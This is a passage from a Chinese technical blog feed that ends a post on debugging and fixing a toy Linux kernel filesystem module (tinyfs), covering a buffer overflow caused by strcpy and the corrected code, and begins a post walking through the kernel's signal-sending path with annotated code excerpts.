MODULE_LICENSE(&amp;quot;GPL&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;san-jia-zai-kohou-de-yan-shi-ji-fa-xian-de-wen-ti&quot;&gt;三、加载ko后的演示及发现的问题&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-jia-zai-ko-gua-zai-wen-jian-xi-tong&quot;&gt;1.加载ko，挂载文件系统&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;driver # insmod tinyfs.ko
&amp;#x2F;driver # mkdir tinydir
&amp;#x2F;driver # mount -t tinyfs none tinydir&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-fa-xian-de-wen-ti-chuang-jian-duo-ge-wen-jian-shi-ls-lwen-jian-shu-xing-xian-shi-yi-chang&quot;&gt;2、发现的问题，创建多个文件时，ls -l文件属性显示异常&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-220e2ec69d48a5cdd20386e3f3635929_b-20231227143706-lcw0yy5.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;3、创建长名字的文件ls -al  显示怪异，不符合预期&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;driver&amp;#x2F;tinydir # touch 1.txt
&amp;#x2F;driver&amp;#x2F;tinydir # ls
1.txt
&amp;#x2F;driver&amp;#x2F;tinydir # touch 2.txt
&amp;#x2F;driver&amp;#x2F;tinydir # ls
1.txt  2.txt
&amp;#x2F;driver&amp;#x2F;tinydir # touch 45666.txt
&amp;#x2F;driver&amp;#x2F;tinydir # ls
1.txt      2.txt?     45666.txt
&amp;#x2F;driver&amp;#x2F;tinydir # ls -al
total 4
d---------    1 0        0                0 Dec  9 13:12 .
drwxr-xr-x    3 0        0             4096 Dec  9 12:46 ..
-rw-r--r--    1 0        0                0 Dec  9 13:12 1.txt
?r--rwSr--    1 0        0                0 Dec  9 13:12 2.txt?
-rw-r--r--    1 0        0                0 Dec  9 13:12 45666.txt
&amp;#x2F;driver&amp;#x2F;tinydir # touch 34455.txt
&amp;#x2F;driver&amp;#x2F;tinydir # ls
1.txt               34455.txt
2.txt?              45666.txt34455.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后创建一个34455.txt,最后显示的部分都和45666.txt连到一起了&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-wen-ti-fen-xi&quot;&gt;4、问题分析&lt;&#x2F;h3&gt;
&lt;p&gt;还是debug，不清楚怎么debug ko的可以参考我之前的文章：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;667585447&quot;&gt;无人知晓：qemu 单步调试linux driver&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;打断点在tinyfs_readdir 函数中，发现问题（idx应该是block的索引，正常按创建文件的顺序一次增加，从2～32, 但是实际上这里看到都已经越界覆盖了）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-7bc7a12c5ff88d4a40211c03d615fc30_b-20231227143706-5uv0bhy.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;原因：struct file_blk 结构体中，    字段char data[0] 是当一个指针在使用，但是又没有分配空间，无论在文件内容存储，还是存储dir的filename信息都会向后覆盖block,导致后面存放的文件属性block 被踩坏&lt;&#x2F;p&gt;
&lt;p&gt;文件名字异常的的bug原因：&lt;&#x2F;p&gt;
&lt;p&gt;结构体定义：&lt;&#x2F;p&gt;
&lt;p&gt;struct dir_entry {&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;char filename[MAXLEN];  &amp;#x2F;&amp;#x2F;maxlen为8, 创建文件名时不能超过；

uint8\_t idx;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;};&lt;&#x2F;p&gt;
&lt;p&gt;使用的地方在&lt;&#x2F;p&gt;
&lt;p&gt;tinyfs_do_create&lt;&#x2F;p&gt;
&lt;p&gt;--&amp;gt;strcpy(entry-&amp;gt;filename, dentry-&amp;gt;d_name.name);&#x2F;&#x2F;换成strncpy就好了&lt;&#x2F;p&gt;
&lt;h2 id=&quot;si-zui-zhong-xiu-gai-ban-ben&quot;&gt;四、最终修改版本&lt;&#x2F;h2&gt;
&lt;p&gt;针对前面的struct file_blk中data[0]的问题有两种方式，一种是在使用前分配，删除时释放，另外一种就是我现在用的增加一个结构体数组，做了一些长度限制（一个目录下只能存在4个文件或目录项）。&lt;&#x2F;p&gt;
&lt;p&gt;tinyfs.h&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#define MAXLEN 8
#define MAX_FILES 32
#define MAX_BLOCKSIZE 512
#define MAX_SUBDIR_FILES 4  &amp;#x2F;&amp;#x2F;one dir can include max file size

&amp;#x2F;&amp;#x2F;define the dir node info
struct dir_entry {
    char filename[MAXLEN];
    uint8_t idx;
};

&amp;#x2F;&amp;#x2F;just same count char as dir node size
#define FILE_BUF_SIZ  (sizeof(struct dir_entry) * MAX_SUBDIR_FILES)

&amp;#x2F;&amp;#x2F;define the file block
struct file_blk {
    uint8_t busy;
    mode_t mode;
    uint8_t idx;

    union {
        uint8_t file_size;
        uint8_t dir_children;
    };

    union {&amp;#x2F;&amp;#x2F;用作目录时,最大记录的条目数，不超过4个; 用作文件时，这里就是文件的buffer大小
        struct dir_entry dir_data[MAX_SUBDIR_FILES]; &amp;#x2F;&amp;#x2F;one dir can exit 4 file
        char file_data[FILE_BUF_SIZ];
    };
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;tinyfs.c&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;linux&amp;#x2F;init.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;module.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;fs.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;uaccess.h&amp;gt;

#include &amp;quot;tinyfs.h&amp;quot;

#define tinyfs_dbg pr_debug
#define tinyfs_err pr_err

struct file_blk block[MAX_FILES+1];

int curr_count = 0;

static int get_block(void)
{
    int i;
    for( i = 2; i &amp;lt; MAX_FILES; i++) {
        if (!block[i].busy) {
            block[i].busy = 1;
            return i;
        }
    }

    return -1;
}

static struct inode_operations tinyfs_inode_ops;

&amp;#x2F;*
 * read the entries from a directory
 *&amp;#x2F;
static int tinyfs_readdir(struct file *filp, struct dir_context *ctx)
{

    loff_t pos;
    struct file_blk  *blk;
    struct dir_entry *entry;
    struct dentry *dentry = filp-&amp;gt;f_path.dentry;

    int i;

    if (!dir_emit_dots(filp, ctx))
        return 0;

    pos = filp-&amp;gt;f_pos;

    if (pos)
        return 0;

    blk = (struct file_blk*)dentry-&amp;gt;d_inode-&amp;gt;i_private;

    if (!S_ISDIR(blk-&amp;gt;mode)) {
        return -ENOTDIR;
    }

    &amp;#x2F;&amp;#x2F;loop get one dir included file name
    entry = (struct dir_entry *)blk-&amp;gt;dir_data;
    for (i = 0; i &amp;lt; blk-&amp;gt;dir_children; i++) {
        if (!dir_emit(ctx, entry[i].filename, strlen(entry[i].filename),
                    entry[i].idx,
                    DT_UNKNOWN))
            break;
        filp-&amp;gt;f_pos += sizeof(struct dir_entry);
        pos += sizeof(struct dir_entry);
    }

    return 0;
}

ssize_t tinyfs_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos)
{
    struct file_blk *blk;
    char *buffer;

    blk = (struct file_blk*)filp-&amp;gt;f_path.dentry-&amp;gt;d_inode-&amp;gt;i_private;

    if (*ppos &amp;gt;= blk-&amp;gt;file_size)
        return 0;

    buffer = (char *)blk-&amp;gt;file_data;
    len = min((size_t)blk-&amp;gt;file_size, len);

    if (copy_to_user(buf, buffer, len)) {
        return -EFAULT;
    }
    *ppos += len;

    return len;
}

ssize_t tinyfs_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
{
    struct file_blk *blk;
    char *buffer;

    blk = filp-&amp;gt;f_path.dentry-&amp;gt;d_inode-&amp;gt;i_private;

    buffer = (char *)blk-&amp;gt;file_data;
    buffer += *ppos;

    if (copy_from_user(buffer, buf, len)) {
        return -EFAULT;
    }

    *ppos += len;
    blk-&amp;gt;file_size = *ppos;

    return len;
}

const struct file_operations tinyfs_file_operations = {
    .read = tinyfs_read,
    .write = tinyfs_write,
};

static const struct file_operations tinyfs_dir_operations = {
    .owner = THIS_MODULE,
    .read = generic_read_dir,
    .iterate_shared	= tinyfs_readdir,
};

static int tinyfs_do_create(struct mnt_idmap *idmap, struct inode *dir, struct dentry *dentry, umode_t mode)
{
    struct inode *inode;
    struct super_block *sb;
    struct dir_entry *entry;
    struct file_blk *blk, *pblk;
    int idx;

    sb = dir-&amp;gt;i_sb;

    if (curr_count &amp;gt;= MAX_FILES) {
        return -ENOSPC;
    }

    if (!S_ISDIR(mode) &amp;amp;&amp;amp; !S_ISREG(mode)) {
        return -EINVAL;
    }

    pblk = (struct file_blk *)dir-&amp;gt;i_private;

    &amp;#x2F;&amp;#x2F;dir include file|dir count can&amp;#x27;t over MAX_SUBDIR_FILES
    if (pblk-&amp;gt;dir_children &amp;gt;= MAX_SUBDIR_FILES) {
        tinyfs_err(&amp;quot;one dir max include file cnt should less than %d\n&amp;quot;, MAX_SUBDIR_FILES);
        return -ENOSPC;
    }

    inode = new_inode(sb);

    if (!inode) {
        return -ENOMEM;
    }

    inode-&amp;gt;i_sb = sb;
    inode-&amp;gt;i_op = &amp;amp;tinyfs_inode_ops;
    inode-&amp;gt;i_atime = inode-&amp;gt;i_mtime = inode_set_ctime_current(inode);

    idx = get_block(); &amp;#x2F;&amp;#x2F;get free block save new file

    blk = &amp;amp;block[idx];
    inode-&amp;gt;i_ino = idx;
    blk-&amp;gt;mode = mode;
    curr_count ++;

    if (S_ISDIR(mode)) {
        blk-&amp;gt;dir_children = 0;
        inode-&amp;gt;i_fop = &amp;amp;tinyfs_dir_operations;
    } else if (S_ISREG(mode)) {
        blk-&amp;gt;file_size = 0;
        inode-&amp;gt;i_fop = &amp;amp;tinyfs_file_operations;
    }

    inode-&amp;gt;i_private = blk;

    &amp;#x2F;&amp;#x2F;need check the dir inode is what?
    tinyfs_dbg(&amp;quot;%s dir inode %llx&amp;quot;, __func__, dir);

    entry = &amp;amp;pblk-&amp;gt;dir_data[pblk-&amp;gt;dir_children];
    pblk-&amp;gt;dir_children ++;

    entry-&amp;gt;idx = idx;
    strncpy(entry-&amp;gt;filename, dentry-&amp;gt;d_name.name, MAXLEN-1);
    entry-&amp;gt;filename[MAXLEN-1] = 0;

    inode_init_owner(&amp;amp;nop_mnt_idmap, inode, dir, mode);
    d_add(dentry, inode);

    return 0;
}

static int tinyfs_mkdir(struct mnt_idmap *idmap, struct inode *dir, struct dentry *dentry, umode_t mode)
{
    return tinyfs_do_create(&amp;amp;nop_mnt_idmap, dir, dentry, S_IFDIR | mode);
}

static int tinyfs_create(struct mnt_idmap *idmap, struct inode *dir, struct dentry *dentry, umode_t mode, bool excl)
{
    return tinyfs_do_create(&amp;amp;nop_mnt_idmap, dir, dentry, mode);
}

static struct inode * tinyfs_iget(struct super_block *sb, int idx)
{
    struct inode *inode;
    struct file_blk *blk;

    inode = new_inode(sb);
    inode-&amp;gt;i_ino = idx;
    inode-&amp;gt;i_sb = sb;
    inode-&amp;gt;i_op = &amp;amp;tinyfs_inode_ops;

    blk = &amp;amp;block[idx];

    if (S_ISDIR(blk-&amp;gt;mode))
        inode-&amp;gt;i_fop = &amp;amp;tinyfs_dir_operations;
    else if (S_ISREG(blk-&amp;gt;mode))
        inode-&amp;gt;i_fop = &amp;amp;tinyfs_file_operations;

    inode-&amp;gt;i_atime = inode-&amp;gt;i_mtime = inode_set_ctime_current(inode);
    inode-&amp;gt;i_private = blk;

    return inode;
}

struct dentry *tinyfs_lookup(struct inode *parent_inode, struct dentry *child_dentry, unsigned int flags)
{
    struct super_block *sb = parent_inode-&amp;gt;i_sb;
    struct file_blk *blk;
    struct dir_entry *entry;
    int i;

    blk = (struct file_blk *)parent_inode-&amp;gt;i_private;
    entry = (struct dir_entry *)blk-&amp;gt;dir_data;
    for (i = 0; i &amp;lt; blk-&amp;gt;dir_children; i++) {
        if (!strcmp(entry[i].filename, child_dentry-&amp;gt;d_name.name)) {
            struct inode *inode = tinyfs_iget(sb, entry[i].idx);
            struct file_blk *inner = (struct file_blk*)inode-&amp;gt;i_private;
            inode_init_owner(&amp;amp;nop_mnt_idmap, inode, parent_inode, inner-&amp;gt;mode);
            d_add(child_dentry, inode);
            return NULL;
        }
    }

    return NULL;
}

int tinyfs_rmdir(struct inode *dir, struct dentry *dentry)
{
    struct inode *inode = dentry-&amp;gt;d_inode;
    struct file_blk *blk = (struct file_blk*) inode-&amp;gt;i_private;

    blk-&amp;gt;busy = 0;
    return simple_rmdir(dir, dentry);
}

int tinyfs_unlink(struct inode *dir, struct dentry *dentry)
{
    int i;
    struct inode *inode = dentry-&amp;gt;d_inode;
    struct file_blk *blk = (struct file_blk *)inode-&amp;gt;i_private;
    struct file_blk *pblk = (struct file_blk *)dir-&amp;gt;i_private;
    struct dir_entry *entry;

    entry = (struct dir_entry*)pblk-&amp;gt;dir_data;
    for (i = 0; i &amp;lt; pblk-&amp;gt;dir_children; i++) {
        if (!strcmp(entry[i].filename, dentry-&amp;gt;d_name.name)) {
            int j;
            for (j = i; j &amp;lt; pblk-&amp;gt;dir_children - 1; j++) {
                memcpy(&amp;amp;entry[j], &amp;amp;entry[j+1], sizeof(struct dir_entry));
            }
            pblk-&amp;gt;dir_children --;
            break;
        }
    }

    blk-&amp;gt;busy = 0;
    return simple_unlink(dir, dentry);
}

static struct inode_operations tinyfs_inode_ops = {
    .create = tinyfs_create,
    .lookup = tinyfs_lookup,
    .mkdir = tinyfs_mkdir,
    .rmdir = tinyfs_rmdir,
    .unlink = tinyfs_unlink,
};

int tinyfs_fill_super(struct super_block *sb, void *data, int silent)
{
    struct inode *root_inode;
    umode_t mode = S_IFDIR;

    root_inode = new_inode(sb);
    root_inode-&amp;gt;i_ino = 1;
    inode_init_owner(&amp;amp;nop_mnt_idmap, root_inode, NULL, mode);
    root_inode-&amp;gt;i_sb = sb;
    root_inode-&amp;gt;i_op = &amp;amp;tinyfs_inode_ops;
    root_inode-&amp;gt;i_fop = &amp;amp;tinyfs_dir_operations;
    root_inode-&amp;gt;i_atime = root_inode-&amp;gt;i_mtime = inode_set_ctime_current(root_inode);

    block[1].mode = mode;
    block[1].dir_children = 0;
    block[1].idx = 1;
    block[1].busy = 1;
    root_inode-&amp;gt;i_private = &amp;amp;block[1];

    tinyfs_dbg(&amp;quot;%s root inode %llx&amp;quot;, __func__, root_inode);
    sb-&amp;gt;s_root = d_make_root(root_inode);
    curr_count ++;

    return 0;
}

static struct dentry *tinyfs_mount(struct file_system_type *fs_type, int flags, const char* dev_name, void *data)
{
    return mount_nodev(fs_type, flags, data, tinyfs_fill_super);
}

static void tinyfs_kill_superblock(struct super_block *sb)
{
    kill_anon_super(sb);
}

struct file_system_type tinyfs_fs_type = {
    .owner = THIS_MODULE,
    .name = &amp;quot;tinyfs&amp;quot;,
    .mount = tinyfs_mount,
    .kill_sb = tinyfs_kill_superblock,
};

static int tinyfs_init(void)
{
    int ret;

    memset(block, 0, sizeof(block));
    ret = register_filesystem(&amp;amp;tinyfs_fs_type);

    if (ret)
        pr_info(&amp;quot;register tinyfs filesystem failed\n&amp;quot;);

    return ret;
}

static void tinyfs_exit(void)
{
    unregister_filesystem(&amp;amp;tinyfs_fs_type);
}

module_init(tinyfs_init);
module_exit(tinyfs_exit);

MODULE_LICENSE(&amp;quot;GPL&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;执行效果&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;driver&amp;#x2F;tinydir # touch 1.txt
&amp;#x2F;driver&amp;#x2F;tinydir # touch 2.txt
&amp;#x2F;driver&amp;#x2F;tinydir # mkdir tinysub
&amp;#x2F;driver&amp;#x2F;tinydir # touch 4.txt
&amp;#x2F;driver&amp;#x2F;tinydir # ls
1.txt  2.txt  tinysub  4.txt
&amp;#x2F;driver&amp;#x2F;tinydir # touch 5.txt  &amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;当超出数组长度限制时，提示
[   76.696988] one dir max include file cnt should less than 4
touch: 5.txt: No space left on device
&amp;#x2F;driver&amp;#x2F;tinydir # ls
1.txt  2.txt  tinysub  4.txt
&amp;#x2F;driver&amp;#x2F;tinydir # cd tinysub&amp;#x2F;
&amp;#x2F;driver&amp;#x2F;tinydir&amp;#x2F;tinysub # touch 5.txt
&amp;#x2F;driver&amp;#x2F;tinydir&amp;#x2F;tinysub # cd ..
&amp;#x2F;driver&amp;#x2F;tinydir # tree .
.
├── 1.txt
├── 2.txt
├── 4.txt
└── tinysub
    └── 5.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面实验的最小文件系统的结构图，dir和file都是存在block结构体中：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-355a768c54e5904f1715f363eb6d4077_b-20231227143706-idrq7ti.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;当然这个文件系统还有很多bug，比如文件写入内容的大小控制，删除文件再创建文件的处理（前面tinyfs_do_create下处理entry有点小问题）...  ，这些留给感兴趣的同学自己分析处理（主要是我要溜娃了）。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>【进程通信】信号处理机制二——内核实现</title>
        <published>2023-12-27T00:00:00+00:00</published>
        <updated>2023-12-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/进程通信-信号处理机制二-内核实现/"/>
        <id>https://vercel.juzhong.asia/obsidian/进程通信-信号处理机制二-内核实现/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/进程通信-信号处理机制二-内核实现/">&lt;h2 id=&quot;1-xin-hao-chu-li-de-wan-zheng-liu-cheng&quot;&gt;1 信号处理的完整流程&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;用户输入命令，在Shell下启动一个前台进程。&lt;&#x2F;li&gt;
&lt;li&gt;用户按下Ctrl-C，这个键盘输入产生一个硬件中断。&lt;&#x2F;li&gt;
&lt;li&gt;如果CPU当前正在执行这个进程的代码，则该进程的用户空间代码暂停执行，CPU从用户态切换到内核态处理硬件中断。&lt;&#x2F;li&gt;
&lt;li&gt;终端驱动程序将Ctrl-C解释成一个SIGINT信号，记在该进程的PCB中（也可以说发送了一个SIGINT信号给该进程）。&lt;&#x2F;li&gt;
&lt;li&gt;当某个时刻要从内核返回到该进程的用户空间代码继续执行之前，首先处理PCB中记录的信号，发现有一个SIGINT信号待处理，而这个信号的默认处理动作是终止进程，所以直接终止进程而不再返回它的用户空间代码执行。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;2-xin-hao-xiang-guan-shu-ju-jie-gou&quot;&gt;2 信号相关数据结构&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;struct task_struct {
	&amp;#x2F;* Signal handlers: *&amp;#x2F;
	struct signal_struct		*signal;
	struct sighand_struct		*sighand;
	sigset_t			blocked;
	sigset_t			real_blocked;
	&amp;#x2F;* Restored if set_restore_sigmask() was used: *&amp;#x2F;
	sigset_t			saved_sigmask;
	struct sigpending		pending;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中成员 pending 表示进程是否有信号需要处理（1表示有，0表示没有）。成员 &lt;code&gt;blocked&lt;&#x2F;code&gt; 表示被屏蔽的信息，每个位代表一个被屏蔽的信号。成员 sighand 表示信号相应的处理方法。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;struct sighand_struct {
	atomic_t		count;
	struct k_sigaction	action[_NSIG];
	spinlock_t		siglock;
	wait_queue_head_t	signalfd_wqh;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;sigaction&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;typedef void __signalfn_t(int);
typedef __signalfn_t __user *__sighandler_t;

struct sigaction {
#ifndef __ARCH_HAS_IRIX_SIGACTION
	__sighandler_t	sa_handler;
	unsigned long	sa_flags;
#else
	unsigned int	sa_flags;
	__sighandler_t	sa_handler;
#endif
#ifdef __ARCH_HAS_SA_RESTORER
	__sigrestore_t sa_restorer;
#endif
	sigset_t	sa_mask;	&amp;#x2F;* mask last for extensibility *&amp;#x2F;
};

struct k_sigaction {
	struct sigaction sa;
#ifdef __ARCH_HAS_KA_RESTORER
	__sigrestore_t ka_restorer;
#endif
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-1-killxi-tong-diao-yong&quot;&gt;3.1 kill系统调用&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;**
 *  sys_kill - send a signal to a process
 *  @pid: the PID of the process
 *  @sig: signal to be sent
 *&amp;#x2F;
SYSCALL_DEFINE2(kill, pid_t, pid, int, sig)
{
	struct siginfo info;

	info.si_signo = sig;
	info.si_errno = 0;
	info.si_code = SI_USER;
	info.si_pid = task_tgid_vnr(current);
	info.si_uid = from_kuid_munged(current_user_ns(), current_uid());

	return kill_something_info(sig, &amp;amp;info, pid);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-2-kill-something-info&quot;&gt;3.2 kill_something_info&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;kill_something_info()&lt;&#x2F;code&gt; 函数根据传入&lt;code&gt;pid&lt;&#x2F;code&gt; 的不同来进行不同的操作，有如下4种可能：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pid&lt;&#x2F;code&gt; 等于0时，向当前进程组发送信号。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pid&lt;&#x2F;code&gt; 大于零时，那么调用函数kill_pid_info来向线程pid所属的线程组发送信号。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pid&lt;&#x2F;code&gt; 等于-1时，向除了进程1(init)和自己以外的所有进程发送信号。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pid&lt;&#x2F;code&gt; 小于-1时，信号将送往以-pid为组标识的进程。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;static int kill_something_info(int sig, struct siginfo *info, pid_t pid)
{
	int ret;

	if (pid &amp;gt; 0) {
		rcu_read_lock();
		ret = kill_pid_info(sig, info, find_vpid(pid));
		rcu_read_unlock();
		return ret;
	}

	read_lock(&amp;amp;tasklist_lock);
	if (pid != -1) {
		ret = __kill_pgrp_info(sig, info, pid ? find_vpid(-pid) : task_pgrp(current));
	} else {
		int retval = 0, count = 0;
		struct task_struct * p;

		for_each_process(p) {
			if (task_pid_vnr(p) &amp;gt; 1 &amp;amp;&amp;amp;!same_thread_group(p, current)) {
				int err = group_send_sig_info(sig, info, p);
				++count;
			}
		}
		ret = count ? retval : -ESRCH;
	}
	read_unlock(&amp;amp;tasklist_lock);

	return ret;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-2-1-kill-pid-info&quot;&gt;3.2.1 kill_pid_info&lt;&#x2F;h3&gt;
&lt;p&gt;向某个进程发送信号&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;int kill_pid_info(int sig, struct siginfo *info, struct pid *pid)
{
	int error = -ESRCH;
	struct task_struct *p;

	for (;;) {
		rcu_read_lock();
		p = pid_task(pid, PIDTYPE_PID);
		if (p)
			error = group_send_sig_info(sig, info, p);
		rcu_read_unlock();
		if (likely(!p || error != -ESRCH))
			return error;

		&amp;#x2F;*
		 * The task was unhashed in between, try again.  If it
		 * is dead, pid_task() will return NULL, if we race with
		 * de_thread() it will find the new leader.
		 *&amp;#x2F;
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-2-2-kill-pgrp-info&quot;&gt;3.2.2 __kill_pgrp_info&lt;&#x2F;h3&gt;
&lt;p&gt;向某个进程组发送信号，遍历进程组里的所有进程都发送信号。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;int __kill_pgrp_info(int sig, struct siginfo *info, struct pid *pgrp)
{
	struct task_struct *p = NULL;
	int retval, success;

	success = 0;
	retval = -ESRCH;
	do_each_pid_task(pgrp, PIDTYPE_PGID, p) {
		int err = group_send_sig_info(sig, info, p);
		success |= !err;
		retval = err;
	} while_each_pid_task(pgrp, PIDTYPE_PGID, p);
	return success ? 0 : retval;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-3-send-signal&quot;&gt;3.3 __send_signal&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;group_send_sig_info
-&amp;gt;do_send_sig_info
	-&amp;gt;send_signal
		-&amp;gt;__send_signal

static int __send_signal(int sig, struct siginfo *info, struct task_struct *t, int group, int from_ancestor_ns)
{
	&amp;#x2F;&amp;#x2F;如果目标线程忽略信号，那么没必要发送信号。
	if (!prepare_signal(sig, t, from_ancestor_ns || (info == SEND_SIG_FORCED)))
		goto ret;

	&amp;#x2F;&amp;#x2F;确定把信号添加到哪个信号队列和集合。线程组有一个共享的信号队列和集合，
	&amp;#x2F;&amp;#x2F;每个线程有一个私有的信号队列和集合。如果向线程组发送信号，
	&amp;#x2F;&amp;#x2F;那么应该把信号添加到线程组共享的信号队列和集合中；
	&amp;#x2F;&amp;#x2F;如果向线程发送信号，那么应该把信号添加到线程私有的信号队列和集合中。
	pending = group ? &amp;amp;t-&amp;gt;signal-&amp;gt;shared_pending : &amp;amp;t-&amp;gt;pending;

	&amp;#x2F;&amp;#x2F;如果是传统信号，并且信号集合已经包含同一个信号，那么没必要重复发送信号
	result = TRACE_SIGNAL_ALREADY_PENDING;
	if (legacy_queue(pending, sig))
		goto ret;

	&amp;#x2F;&amp;#x2F;判断分配信号队列节点时是否可以忽略信号队列长度的限制：
	&amp;#x2F;&amp;#x2F;对于传统信号，如果是特殊的信号信息，或者信号的编码大于0，那么允许忽略；
	&amp;#x2F;&amp;#x2F;如果是实时信号，那么不允许忽略。
	if (sig &amp;lt; SIGRTMIN)
		override_rlimit = (is_si_special(info) || info-&amp;gt;si_code &amp;gt;= 0);
	else
		override_rlimit = 0;
	&amp;#x2F;&amp;#x2F;分配一个信号队列节点。
	q = __sigqueue_alloc(sig, t, GFP_ATOMIC, override_rlimit);
	&amp;#x2F;&amp;#x2F;如果分配信号队列节点成功，那么把它添加到信号队列中。
	list_add_tail(&amp;amp;q-&amp;gt;list, &amp;amp;pending-&amp;gt;list);

	&amp;#x2F;&amp;#x2F;如果某个进程正在通过信号文件描述符（signalfd）监听信号，那么通知进程。
	&amp;#x2F;&amp;#x2F;signalfd是进程创建用来接收信号的文件描述符，进程可以使用select或poll监听信号文件描述符。
	signalfd_notify(t, sig);

	&amp;#x2F;&amp;#x2F;把信号添加到信号集合中
	sigaddset(&amp;amp;pending-&amp;gt;signal, sig);

	&amp;#x2F;&amp;#x2F;如果向线程组发送信号，那么需要在线程组中查找一个没有屏蔽信号的线程，
	&amp;#x2F;&amp;#x2F;唤醒它，让它处理信号。
	complete_signal(sig, t, group);
}

sigqueue_cachep = KMEM_CACHE(sigqueue, SLAB_PANIC);
